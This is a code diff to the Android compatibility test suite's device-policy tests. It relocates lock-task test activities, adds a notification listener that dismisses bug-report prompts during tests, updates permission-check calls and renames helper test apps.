--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivity.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivity.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.android.cts.deviceowner;
+package com.android.cts.deviceandprofileowner;
 
 import android.app.Activity;
 import android.content.Intent;
@@ -28,11 +28,41 @@
     public static final String START_ACTIVITY = "startActivity";
     public static final String FINISH = "finish";
 
-    public static final String CREATE_ACTION = "com.android.cts.deviceowner.LOCK_TASK_CREATE";
-    public static final String DESTROY_ACTION = "com.android.cts.deviceowner.LOCK_TASK_DESTROY";
-    public static final String PAUSE_ACTION = "com.android.cts.deviceowner.LOCK_TASK_PAUSE";
-    public static final String RESUME_ACTION = "com.android.cts.deviceowner.LOCK_TASK_RESUME";
-    public static final String INTENT_ACTION = "com.android.cts.deviceowner.LOCK_TASK_INTENT";
+    public static final String CREATE_ACTION = "com.android.cts.deviceandprofileowner.LOCK_TASK_CREATE";
+    public static final String DESTROY_ACTION = "com.android.cts.deviceandprofileowner.LOCK_TASK_DESTROY";
+    public static final String PAUSE_ACTION = "com.android.cts.deviceandprofileowner.LOCK_TASK_PAUSE";
+    public static final String RESUME_ACTION = "com.android.cts.deviceandprofileowner.LOCK_TASK_RESUME";
+    public static final String INTENT_ACTION = "com.android.cts.deviceandprofileowner.LOCK_TASK_INTENT";
+
+    private static volatile boolean isActivityResumed;
+    private static final Object ACTIVITY_RESUMED_LOCK = new Object();
+
+    private static void setIsActivityResumed(boolean newValue) {
+        synchronized (ACTIVITY_RESUMED_LOCK) {
+            isActivityResumed = newValue;
+            ACTIVITY_RESUMED_LOCK.notify();
+        }
+    }
+
+    /** Returns true if it's successful. */
+    public static boolean waitUntilActivityResumed(long timeoutMs) throws InterruptedException {
+        synchronized (ACTIVITY_RESUMED_LOCK) {
+            if (!isActivityResumed) {
+                ACTIVITY_RESUMED_LOCK.wait(timeoutMs);
+            }
+            return isActivityResumed;
+        }
+    }
+
+    /** Returns true if it's successful. */
+    public static boolean waitUntilActivityPaused(long timeoutMs) throws InterruptedException {
+        synchronized (ACTIVITY_RESUMED_LOCK) {
+            if (isActivityResumed) {
+                ACTIVITY_RESUMED_LOCK.wait(timeoutMs);
+            }
+            return !isActivityResumed;
+        }
+    }
 
     @Override
     protected void onNewIntent(Intent intent) {
@@ -55,12 +85,14 @@
 
     @Override
     protected void onResume() {
+        setIsActivityResumed(true);
         sendLocalBroadcast(new Intent(RESUME_ACTION));
         super.onResume();
     }
 
     @Override
     protected void onPause() {
+        setIsActivityResumed(false);
         sendLocalBroadcast(new Intent(PAUSE_ACTION));
         super.onPause();
     }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivityIfWhitelisted.java
similarity index 93%
rename from hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
rename to hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivityIfWhitelisted.java
index 4cf6efa..d030fdd 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivityIfWhitelisted.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.android.cts.deviceowner;
+package com.android.cts.deviceandprofileowner;
 
 public class LockTaskUtilityActivityIfWhitelisted extends LockTaskUtilityActivity {
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index fefe9cd..1c633c3 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -343,8 +343,9 @@
         PackageInfo packageInfo = mContext.getPackageManager().getPackageInfo(
                 SIMPLE_PRE_M_APP_PACKAGE_NAME, 0);
         assertEquals(PackageManager.PERMISSION_GRANTED,
-                PermissionChecker.checkPermission(mContext, PERMISSION_NAME, -1,
-                        packageInfo.applicationInfo.uid, SIMPLE_PRE_M_APP_PACKAGE_NAME));
+                PermissionChecker.checkPermissionForDataDelivery(mContext, PERMISSION_NAME,
+                        PermissionChecker.PID_UNKNOWN, packageInfo.applicationInfo.uid,
+                        SIMPLE_PRE_M_APP_PACKAGE_NAME));
     }
 
     private void assertCanSetPermissionGrantStateAppPreM(int value) throws Exception {
@@ -365,7 +366,8 @@
 
         // For pre-M apps the access to the data might be prevented via app-ops. Hence check that
         // they are correctly set
-        boolean isGranted = (PermissionChecker.checkPermission(mContext, PERMISSION_NAME, -1,
+        boolean isGranted = (PermissionChecker.checkPermissionForDataDelivery(mContext,
+                PERMISSION_NAME, PermissionChecker.PID_UNKNOWN,
                 packageInfo.applicationInfo.uid, SIMPLE_PRE_M_APP_PACKAGE_NAME)
                 == PackageManager.PERMISSION_GRANTED);
         switch (value) {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java
index 31d3bf9..5f16337 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java
@@ -42,6 +42,7 @@
      * Test: a Device Owner or (un-managed) Profile Owner can create, change and remove a password.
      */
     public void testResetPassword() {
+        waitUntilUserUnlocked();
         testResetPasswordEnabled(true, true);
     }
 
@@ -49,6 +50,7 @@
      * Test: a managed Profile Owner can create and change, but not remove, a password.
      */
     public void testResetPasswordManagedProfile() {
+        waitUntilUserUnlocked();
         testResetPasswordEnabled(true, false);
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index ebb848b..da569f3 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -72,19 +72,6 @@
         </service>
 
         <activity
-            android:name="com.android.cts.deviceowner.LockTaskUtilityActivity" />
-        <activity
-            android:name="com.android.cts.deviceowner.LockTaskUtilityActivityIfWhitelisted"
-            android:launchMode="singleInstance"
-            android:lockTaskMode="if_whitelisted">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.HOME"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-            </intent-filter>
-        </activity>
-
-        <activity
             android:name=".SetPolicyActivity"
             android:launchMode="singleTop">
             <intent-filter>
@@ -95,6 +82,13 @@
 
         <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"/>
 
+        <service android:name="com.android.cts.deviceowner.NotificationListener"
+                 android:label="Notification Listener"
+                 android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService" />
+            </intent-filter>
+        </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
index 42fb4464..b793408 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
@@ -15,9 +15,8 @@
  */
 package com.android.cts.deviceowner;
 
-import android.app.admin.DevicePolicyManager;
+import android.app.PendingIntent;
 import android.content.ContentResolver;
-import android.content.Context;
 import android.os.Process;
 import android.provider.Settings;
 
@@ -26,6 +25,7 @@
 import java.security.cert.Certificate;
 import java.security.cert.CertificateFactory;
 import java.util.List;
+import java.util.concurrent.CountDownLatch;
 
 public class AdminActionBookkeepingTest extends BaseDeviceOwnerTest {
     /*
@@ -107,6 +107,10 @@
      * Test: Requesting a bug report should update the corresponding timestamp.
      */
     public void testRequestBugreport() throws Exception {
+        // This test leaves a notification which will block future tests that request bug reports
+        // to fix this - we dismiss the bug report before returning
+        CountDownLatch notificationDismissedLatch = initTestRequestBugreport();
+
         Thread.sleep(1);
         final long previousTimestamp = mDevicePolicyManager.getLastBugReportRequestTime();
 
@@ -118,6 +122,34 @@
         assertTrue(newTimestamp > previousTimestamp);
         assertTrue(newTimestamp >= timeBefore);
         assertTrue(newTimestamp <= timeAfter);
+
+        cleanupTestRequestBugreport(notificationDismissedLatch);
+    }
+
+    private CountDownLatch initTestRequestBugreport() {
+        CountDownLatch notificationDismissedLatch = new CountDownLatch(1);
+        NotificationListener.getInstance().addListener((sbt) -> {
+            // The notification we are looking for is the one which confirms the bug report is
+            // ready and asks for consent to send it
+            if (sbt.getPackageName().equals("android") &&
+                    sbt.getTag().equals("DevicePolicyManager") &&
+                    sbt.getNotification().actions != null) {
+                try {
+                    // The first action is to decline
+                    sbt.getNotification().actions[0].actionIntent.send();
+                    notificationDismissedLatch.countDown();
+                } catch (PendingIntent.CanceledException e) {
+                    fail("Could not dismiss bug report notification");
+                }
+            }
+        });
+        return notificationDismissedLatch;
+    }
+
+    private void cleanupTestRequestBugreport(CountDownLatch notificationDismissedLatch)
+            throws Exception {
+        notificationDismissedLatch.await();
+        NotificationListener.getInstance().clearListeners();
     }
 
     /**
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
index 57d200b..2424c46 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
@@ -17,12 +17,8 @@
 package com.android.cts.deviceowner;
 
 import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertTrue;
 import static junit.framework.Assert.fail;
 
-import static org.junit.Assert.assertArrayEquals;
-
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
@@ -81,52 +77,8 @@
         setAffiliationIds(Collections.singleton("id.number.2"));
     }
 
-    @Test
-    public void testLockTaskMethodsThrowExceptionIfUnaffiliated() {
-        checkLockTaskMethodsThrow();
-    }
-
-    /** Assumes that the calling user is already affiliated before calling this method */
-    @Test
-    public void testSetLockTaskPackagesClearedIfUserBecomesUnaffiliated() {
-        final String[] packages = {"package1", "package2"};
-        mDevicePolicyManager.setLockTaskPackages(mAdminComponent, packages);
-        assertArrayEquals(packages, mDevicePolicyManager.getLockTaskPackages(mAdminComponent));
-        assertTrue(mDevicePolicyManager.isLockTaskPermitted("package1"));
-        assertFalse(mDevicePolicyManager.isLockTaskPermitted("package3"));
-
-        final Set<String> previousAffiliationIds =
-                mDevicePolicyManager.getAffiliationIds(mAdminComponent);
-        try {
-            // Clearing affiliation ids for this user. Lock task methods unavailable.
-            setAffiliationIds(Collections.emptySet());
-            checkLockTaskMethodsThrow();
-            assertFalse(mDevicePolicyManager.isLockTaskPermitted("package1"));
-
-            // Affiliating the user again. Previously set packages have been cleared.
-            setAffiliationIds(previousAffiliationIds);
-            assertEquals(0, mDevicePolicyManager.getLockTaskPackages(mAdminComponent).length);
-            assertFalse(mDevicePolicyManager.isLockTaskPermitted("package1"));
-        } finally {
-            mDevicePolicyManager.setAffiliationIds(mAdminComponent, previousAffiliationIds);
-        }
-    }
-
     private void setAffiliationIds(Set<String> ids) {
         mDevicePolicyManager.setAffiliationIds(mAdminComponent, ids);
         assertEquals(ids, mDevicePolicyManager.getAffiliationIds(mAdminComponent));
     }
-
-    private void checkLockTaskMethodsThrow() {
-        try {
-            mDevicePolicyManager.setLockTaskPackages(mAdminComponent, new String[0]);
-            fail("setLockTaskPackages did not throw expected SecurityException");
-        } catch (SecurityException expected) {
-        }
-        try {
-            mDevicePolicyManager.getLockTaskPackages(mAdminComponent);
-            fail("getLockTaskPackages did not throw expected SecurityException");
-        } catch (SecurityException expected) {
-        }
-    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index 257ac7b..3c31a86 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -52,7 +52,7 @@
 public class CreateAndManageUserTest extends BaseDeviceOwnerTest {
     private static final String TAG = "CreateAndManageUserTest";
 
-    private static final int BROADCAST_TIMEOUT = 30_000;
+    private static final int BROADCAST_TIMEOUT = 60_000;
 
     private static final String AFFILIATION_ID = "affiliation.id";
     private static final String EXTRA_AFFILIATION_ID = "affiliationIdExtra";
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/InstallUpdateTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/InstallUpdateTest.java
index 1cbf5b2..b69a60c 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/InstallUpdateTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/InstallUpdateTest.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.deviceowner;
 
+import static android.app.admin.DevicePolicyManager.InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID;
+
 import android.app.admin.DevicePolicyManager.InstallSystemUpdateCallback;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -54,38 +56,38 @@
     }
 
     public void testInstallUpdate_failNoZipOtaFile() throws InterruptedException {
-        assertUpdateError("notZip.zi",
-                isDeviceAB()
-                        ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
-                        : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+        if (!isDeviceAB()) {
+            return;
+        }
+        assertUpdateError("notZip.zi", UPDATE_ERROR_UPDATE_FILE_INVALID);
     }
 
     public void testInstallUpdate_failWrongPayloadFile() throws InterruptedException {
-        assertUpdateError("wrongPayload.zip",
-                isDeviceAB()
-                        ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
-                        : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+        if (!isDeviceAB()) {
+            return;
+        }
+        assertUpdateError("wrongPayload.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
     }
 
     public void testInstallUpdate_failEmptyOtaFile() throws InterruptedException {
-        assertUpdateError("empty.zip",
-                isDeviceAB()
-                        ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
-                        : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+        if (!isDeviceAB()) {
+            return;
+        }
+        assertUpdateError("empty.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
     }
 
     public void testInstallUpdate_failWrongHash() throws InterruptedException {
-        assertUpdateError("wrongHash.zip",
-                isDeviceAB()
-                        ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
-                        : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+        if (!isDeviceAB()) {
+            return;
+        }
+        assertUpdateError("wrongHash.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
     }
 
     public void testInstallUpdate_failWrongSize() throws InterruptedException {
-        assertUpdateError("wrongSize.zip",
-                isDeviceAB()
-                        ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
-                        : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+        if (!isDeviceAB()) {
+            return;
+        }
+        assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
     }
 
     public void testInstallUpdate_notCharging_belowThreshold_failsBatteryCheck() throws Exception {
@@ -101,15 +103,15 @@
     }
 
     public void testInstallUpdate_notCharging_aboveThreshold_passesBatteryCheck() throws Exception {
+        if (!isDeviceAB()) {
+            return;
+        }
         try {
             setNonChargingBatteryThreshold(TEST_BATTERY_THRESHOLD);
             setNonChargingBatteryLevelAndWait(TEST_BATTERY_THRESHOLD);
             // Positive CTS tests aren't possible, so we verify that we get the file-related error
             // rather than the battery one.
-            assertUpdateError("wrongSize.zip",
-                    isDeviceAB()
-                            ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
-                            : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+            assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
         } finally {
             resetBatteryState();
             resetDevicePolicyConstants();
@@ -129,15 +131,15 @@
     }
 
     public void testInstallUpdate_charging_aboveThreshold_passesBatteryCheck() throws Exception {
+        if (!isDeviceAB()) {
+            return;
+        }
         try {
             setChargingBatteryThreshold(TEST_BATTERY_THRESHOLD);
             setChargingBatteryLevelAndWait(TEST_BATTERY_THRESHOLD);
             // Positive CTS tests aren't possible, so we verify that we get the file-related error
             // rather than the battery one.
-            assertUpdateError("wrongSize.zip",
-                    isDeviceAB()
-                            ? InstallSystemUpdateCallback.UPDATE_ERROR_UPDATE_FILE_INVALID
-                            : InstallSystemUpdateCallback.UPDATE_ERROR_UNKNOWN);
+            assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
         } finally {
             resetBatteryState();
             resetDevicePolicyConstants();
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
deleted file mode 100644
index 99b97bd..0000000
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
+++ /dev/null
@@ -1,177 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceowner;
-
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertTrue;
-
-import android.app.ActivityManager;
-import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.support.test.uiautomator.UiDevice;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Test class that is meant to be driven from the host and can't be run alone, which is required
- * for tests that include rebooting or other connection-breaking steps. For this reason, this class
- * does not override tearDown and setUp just initializes the test state, changing nothing in the
- * device. Therefore, the host is responsible for making sure the tests leave the device in a clean
- * state after running.
- */
-@RunWith(AndroidJUnit4.class)
-public class LockTaskHostDrivenTest {
-
-    private static final String TAG = LockTaskHostDrivenTest.class.getName();
-
-    private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000;  // 20 seconds
-
-    private static final String LOCK_TASK_ACTIVITY
-            = LockTaskUtilityActivityIfWhitelisted.class.getName();
-
-    private UiDevice mUiDevice;
-    private Context mContext;
-    private ActivityManager mActivityManager;
-    private DevicePolicyManager mDevicePolicyManager;
-
-    private volatile boolean mIsActivityResumed;
-    private final Object mActivityResumedLock = new Object();
-
-    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            String action = intent.getAction();
-            Log.d(TAG, "onReceive: " + action);
-            if (LockTaskUtilityActivity.RESUME_ACTION.equals(action)) {
-                synchronized (mActivityResumedLock) {
-                    mIsActivityResumed = true;
-                    mActivityResumedLock.notify();
-                }
-            } else if (LockTaskUtilityActivity.PAUSE_ACTION.equals(action)) {
-                synchronized (mActivityResumedLock) {
-                    mIsActivityResumed = false;
-                    mActivityResumedLock.notify();
-                }
-            }
-        }
-    };
-
-    @Before
-    public void setUp() {
-        mContext = InstrumentationRegistry.getContext();
-        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
-        mActivityManager = mContext.getSystemService(ActivityManager.class);
-        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(LockTaskUtilityActivity.RESUME_ACTION);
-        filter.addAction(LockTaskUtilityActivity.PAUSE_ACTION);
-        mContext.registerReceiver(mReceiver, filter);
-    }
-
-    @After
-    public void tearDown() {
-        mContext.unregisterReceiver(mReceiver);
-    }
-  
-    @Test
-    public void startLockTask() throws Exception {
-        Log.d(TAG, "startLockTask on host-driven test (no cleanup)");
-        setDefaultHomeIntentReceiver();
-        launchLockTaskActivity();
-        mUiDevice.waitForIdle();
-    }
-
-    /**
-     * On low-RAM devices, this test can take too long to finish, so the test runner can incorrectly
-     * assume it's finished. Therefore, only use it once in a given test.
-     */
-    @Test
-    public void testLockTaskIsActiveAndCantBeInterrupted() throws Exception {
-        mUiDevice.waitForIdle();
-
-        // We need to wait until the LockTaskActivity is ready
-        // since com.android.cts.deviceowner can be killed by AMS for reason "start instr".
-        synchronized (mActivityResumedLock) {
-            if (!mIsActivityResumed) {
-                mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
-            }
-        }
-        checkLockedActivityIsRunning();
-
-        mUiDevice.pressBack();
-        mUiDevice.waitForIdle();
-        checkLockedActivityIsRunning();
-
-        mUiDevice.pressHome();
-        mUiDevice.waitForIdle();
-        checkLockedActivityIsRunning();
-
-        mUiDevice.pressRecentApps();
-        mUiDevice.waitForIdle();
-        checkLockedActivityIsRunning();
-
-        mUiDevice.waitForIdle();
-    }
-
-    @Test
-    public void clearDefaultHomeIntentReceiver() {
-        mDevicePolicyManager.clearPackagePersistentPreferredActivities(
-                BasicAdminReceiver.getComponentName(mContext),
-                mContext.getPackageName());
-        mDevicePolicyManager.setLockTaskPackages(BasicAdminReceiver.getComponentName(mContext),
-                new String[0]);
-    }
-
-    private void checkLockedActivityIsRunning() throws Exception {
-        assertTrue(isActivityOnTop());
-        assertEquals(ActivityManager.LOCK_TASK_MODE_LOCKED,
-                mActivityManager.getLockTaskModeState());
-    }
-
-    private boolean isActivityOnTop() {
-        return mActivityManager.getAppTasks().get(0).getTaskInfo().topActivity
-                .getClassName().equals(LOCK_TASK_ACTIVITY);
-    }
-
-    private void launchLockTaskActivity() {
-        Intent intent = new Intent(mContext, LockTaskUtilityActivityIfWhitelisted.class);
-        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
-        intent.putExtra(LockTaskUtilityActivity.START_LOCK_TASK, true);
-        mContext.startActivity(intent);
-    }
-
-    private void setDefaultHomeIntentReceiver() {
-        mDevicePolicyManager.setLockTaskPackages(BasicAdminReceiver.getComponentName(mContext),
-                new String[]{mContext.getPackageName()});
-        IntentFilter intentFilter = new IntentFilter(Intent.ACTION_MAIN);
-        intentFilter.addCategory(Intent.CATEGORY_HOME);
-        intentFilter.addCategory(Intent.CATEGORY_DEFAULT);
-        mDevicePolicyManager.addPersistentPreferredActivity(
-                BasicAdminReceiver.getComponentName(mContext), intentFilter,
-                new ComponentName(mContext.getPackageName(), LOCK_TASK_ACTIVITY));
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NotificationListener.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NotificationListener.java
new file mode 100644
index 0000000..f224221
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NotificationListener.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.deviceowner;
+
+import android.service.notification.NotificationListenerService;
+import android.service.notification.StatusBarNotification;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+
+/**
+ * A {@link NotificationListenerService} that allows tests to register to respond to notifications.
+ */
+public class NotificationListener extends NotificationListenerService {
+
+    private static final int TIMEOUT_SECONDS = 120;
+
+    private static NotificationListener instance;
+    private static CountDownLatch connectedLatch = new CountDownLatch(1);
+
+    public static NotificationListener getInstance() {
+        try {
+            connectedLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            throw new RuntimeException("NotificationListener not connected.", e);
+        }
+
+        return instance;
+    }
+
+    private List<Consumer<StatusBarNotification>> mListeners = new ArrayList<>();
+
+    public void addListener(Consumer<StatusBarNotification> listener) {
+        mListeners.add(listener);
+    }
+
+    public void clearListeners() {
+        mListeners.clear();
+    }
+
+    @Override
+    public void onNotificationPosted(StatusBarNotification sbn) {
+        for (Consumer<StatusBarNotification> listener : mListeners) {
+            listener.accept(sbn);
+        }
+    }
+
+    @Override
+    public void onListenerConnected() {
+        instance = this;
+        connectedLatch.countDown();
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/Android.bp b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
similarity index 88%
rename from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/Android.bp
rename to hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
index 2e8d9f4..f2c0649 100644
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
@@ -13,7 +13,7 @@
 // limitations under the License.
 
 android_test_helper_app {
-    name: "CtsNoLaunchableActivityApp",
+    name: "CtsHasLauncherActivityApp",
     // Don't include this package in any target
     // When built, explicitly put it in the data partition.
     dex_preopt: {
@@ -28,14 +28,13 @@
         "cts",
         "vts",
         "general-tests",
-        "cts_instant",
     ],
     sdk_version: "current",
 }
 
-// Build for no component app
+// Build for no launcher activity app
 android_test_helper_app {
-    name: "CtsNoComponentApp",
+    name: "CtsNoLauncherActivityApp",
     dex_preopt: {
         enabled: false,
     },
@@ -48,9 +47,8 @@
         "cts",
         "vts",
         "general-tests",
-        "cts_instant",
     ],
-    manifest: "no_component_AndroidManifest.xml",
+    manifest: "no_launcher_activity_AndroidManifest.xml",
     sdk_version: "current",
 }
 
@@ -69,7 +67,6 @@
         "cts",
         "vts",
         "general-tests",
-        "cts_instant",
     ],
     manifest: "no_permission_AndroidManifest.xml",
     sdk_version: "current",
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml
similarity index 69%
copy from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
copy to hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml
index 59f3767..760b31f 100755
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml
@@ -16,9 +16,15 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nolaunchableactivityapp">
+    package="com.android.cts.haslauncheractivityapp">
     <uses-permission android:name="android.permission.INTERNET" />
-    <application>
+    <application android:testOnly="true">
+        <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
         <service android:name=".EmptyService" android:enabled="true"></service>
     </application>
 
